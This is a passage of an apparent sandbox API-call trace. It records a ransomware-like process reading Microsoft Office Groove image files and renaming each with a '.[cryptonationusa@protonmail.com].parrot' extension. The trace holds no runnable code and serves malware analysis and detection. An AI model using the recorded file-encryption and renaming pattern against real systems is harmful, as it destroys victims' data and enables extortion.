lpNumberOfBytesRead=0x18ebe4*=0x2eaf, lpOverlapped=0x0) returned 1 [0186.356] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c84d8 | out: hHeap=0x5b0000) returned 1 [0186.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0186.361] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.361] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.362] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.362] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x638, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x638, lpOverlapped=0x0) returned 1 [0186.363] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c2768 | out: hHeap=0x5b0000) returned 1 [0186.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0186.369] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.369] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.370] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.371] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a0f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2a0f, lpOverlapped=0x0) returned 1 [0186.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296df8 | out: hHeap=0x5b0000) returned 1 [0186.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0186.378] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.378] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.379] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.380] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3618, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3618, lpOverlapped=0x0) returned 1 [0186.381] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c84d8 | out: hHeap=0x5b0000) returned 1 [0186.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0186.447] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.447] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.449] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.449] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d29, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d29, lpOverlapped=0x0) returned 1 [0186.450] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a93e0 | out: hHeap=0x5b0000) returned 1 [0186.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298050 | out: hHeap=0x5b0000) returned 1 [0186.457] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.457] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.458] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.459] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc38, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc38, lpOverlapped=0x0) returned 1 [0186.459] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\gripmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\gripmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a93e0 | out: hHeap=0x5b0000) returned 1 [0186.465] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.465] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.466] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.467] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbe5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbe5, lpOverlapped=0x0) returned 1 [0186.467] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.472] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.473] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.474] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.474] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x838, lpOverlapped=0x0) returned 1 [0186.474] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.480] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.480] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.482] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.482] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xceed, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xceed, lpOverlapped=0x0) returned 1 [0186.484] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logindialogbackground.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.492] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.492] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.493] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.494] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e93, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e93, lpOverlapped=0x0) returned 1 [0186.495] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.501] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.501] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.502] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.502] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaf8, lpOverlapped=0x0) returned 1 [0186.503] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.511] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.511] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.513] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.513] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25e5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x25e5, lpOverlapped=0x0) returned 1 [0186.514] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.521] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.521] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.522] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.522] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x838, lpOverlapped=0x0) returned 1 [0186.523] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.530] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.530] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.531] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.531] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22f6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x22f6, lpOverlapped=0x0) returned 1 [0186.532] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.538] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.538] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.539] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x140, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x140, lpOverlapped=0x0) returned 1 [0186.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.546] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.547] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.548] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.548] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3efd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3efd, lpOverlapped=0x0) returned 1 [0186.549] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackground.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.556] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.556] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.557] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.558] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40aa, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x40aa, lpOverlapped=0x0) returned 1 [0186.558] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, 